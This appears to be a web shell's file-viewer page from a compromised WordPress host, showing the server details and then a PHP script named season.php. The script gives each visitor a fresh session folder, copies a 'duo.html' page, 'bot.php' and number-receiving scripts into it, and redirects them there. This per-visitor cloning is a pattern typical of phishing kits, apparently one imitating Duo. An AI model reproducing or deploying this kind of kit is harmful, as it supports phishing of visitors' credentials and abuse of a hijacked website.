HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/duo1.0/season.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/php_errors.log');

session_start();

// Define log file
$logFile = __DIR__ . '/season_debug.log';

// Logging function
function logMessage($message) {
    global $logFile;
    file_put_contents($logFile, date('[Y-m-d H:i:s] ') . $message . "\n", FILE_APPEND);
}

// Start logging
logMessage("season.php executed");

// Generate a unique season ID only once (if not already set in session)
if (!isset($_SESSION['season_id'])) {
    // Ensure the season ID is generated correctly (only prepend "season_" once)
    $_SESSION['season_id'] = uniqid('season_');
    logMessage("Generated new season ID: " . $_SESSION['season_id']);
} else {
    logMessage("Using existing season ID from session: " . $_SESSION['season_id']);
}

// Set the folder name without double 'season_' prefix
$seasonFolder = $_SESSION['season_id']; // Use session's season_id directly (it already has the "season_" prefix)
logMessage("Using season folder: $seasonFolder");

// Check if folder already exists (for debugging purposes)
if (file_exists($seasonFolder)) {
    logMessage("ERROR: Folder already exists: $seasonFolder");
} else {
    // Create the folder
    if (mkdir($seasonFolder, 0777, true)) {
        logMessage("Folder created: $seasonFolder");
    } else {
        logMessage("ERROR: Failed to create folder: $seasonFolder");
        die('Failed to create folder...');
    }
}

// Files to clone
$filesToClone = ['duo.html', 'bot.php', 'receive_number.php', 'clear_number.php', 'logo.png', 'App.css'];

// Function to copy files
function copyDirectory($sourceDir, $destinationDir) {
    if (!is_dir($destinationDir)) {
        mkdir($destinationDir, 0777, true);
    }

    $dir = opendir($sourceDir);
    while (($file = readdir($dir)) !== false) {
        if ($file == '.' || $file == '..') continue;

        $sourceFile = $sourceDir . '/' . $file;
        $destinationFile = $destinationDir . '/' . $file;

        if (is_dir($sourceFile)) {
            copyDirectory($sourceFile, $destinationFile);
        } else {
            if (copy($sourceFile, $destinationFile)) {
                logMessage("Copied file: $sourceFile to $destinationFile");
            } else {
                logMessage("ERROR: Failed to copy file: $sourceFile");
            }
        }
    }
    closedir($dir);
}

// Copy necessary files
foreach ($filesToClone as $file) {
    $sourceFile = __DIR__ . '/' . $file;
    $destFile = $seasonFolder . '/' . $file;

    if (!file_exists($sourceFile)) {
        logMessage("ERROR: Source file does not exist: $sourceFile");
        die("Source file $file does not exist.\n");
    }

    if (is_dir($sourceFile)) {
        copyDirectory($sourceFile, $destFile);
    } else {
        if (copy($sourceFile, $destFile)) {
            logMessage("Successfully copied: $file");
        } else {
            logMessage("ERROR: Failed to copy: $file");
        }
    }
}

// Redirect with season ID
$redirectUrl = "$seasonFolder/duo.html?season_id=" . $_SESSION['season_id'];
logMessage("Redirecting to: $redirectUrl");
header("Location: $redirectUrl");
exit;
?>